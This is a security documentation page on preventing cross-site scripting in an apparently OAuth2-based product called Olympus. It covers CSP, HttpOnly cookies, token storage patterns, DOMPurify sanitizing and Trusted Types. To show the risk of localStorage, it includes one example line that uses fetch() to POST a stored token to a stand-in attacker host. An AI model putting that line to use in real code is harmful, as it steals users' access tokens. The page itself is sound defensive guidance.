XSS prevention
Cross-site scripting risks and how Olympus mitigates them
XSS is when attacker-controlled content runs as JavaScript in a user's browser, often stealing tokens, hijacking sessions, or making API calls as the user.
Olympus's mitigations
Strict CSP
Both Hera and Athena ship with Content Security Policy that blocks inline scripts and limits script sources to first-party. This dramatically reduces the impact of any HTML injection, even if a vulnerability existed, the injected <script> wouldn't execute.
No dangerouslySetInnerHTML without escape
In Hera (React/Next.js), user-controlled strings flow through React's default escaping. Code review rule: any dangerouslySetInnerHTML requires explicit justification and sanitization (DOMPurify).
Cookie HttpOnly
Session cookies are HttpOnly. Even if XSS executes, document.cookie doesn't expose the session token. Attacker cannot exfiltrate the session by reading cookies.
Frame-ancestors none
Prevents clickjacking-style overlays where Olympus's UI is rendered inside an attacker page.
Token storage in your app
The biggest XSS risk to OAuth2 clients is access token theft via JavaScript.
NEVER store access tokens in localStorage
If you have XSS, attacker reads localStorage:
fetch("https://attacker.com/exfil", { method: "POST", body: localStorage.getItem("token") });Two safer patterns
Pattern A: Memory-only. Store in a JS variable, lost on reload. Refresh via a same-origin BFF that holds the refresh token in an HttpOnly cookie.
Pattern B: Cookie sessions. Don't expose tokens to JS at all. The BFF proxies API calls; the SPA holds nothing.
See SPA integration for details.
Sanitizing user content
For apps that render user-generated HTML (rich text, markdown), use a proven sanitizer:
import DOMPurify from "dompurify";
const safe = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
ALLOWED_ATTR: ["href"],
});Markdown rendering
marked, markdown-it, remark, most have an XSS path via raw HTML embedded in markdown. Enable sanitize: true or pipe through DOMPurify.
Trusted Types (Chrome / Edge)
Modern browsers support Trusted Types, forcing innerHTML assignments to come from a policy. Hera enables it:
Content-Security-Policy: require-trusted-types-for 'script';Any code that does el.innerHTML = userString fails at runtime. Forces safe patterns.
To opt your app into Trusted Types:
trustedTypes.createPolicy("safe-html", {
createHTML: (input) => DOMPurify.sanitize(input),
});Stored XSS via Kratos traits
Kratos identity traits are user-controllable. If you render them as HTML unescaped, you have stored XSS.
Athena's identity-detail page renders traits as text (escaped). If you build a custom admin UI, use a templating engine with auto-escape (React/Vue/etc.).
Don't return access tokens in URLs
?access_token=XYZ URLs leak to:
- Browser history
- Server access logs
- Referer headers to next-clicked links
- Analytics tools
Hydra never returns tokens via URL fragments (Authorization Code only). If you've built a custom flow that does, fix it.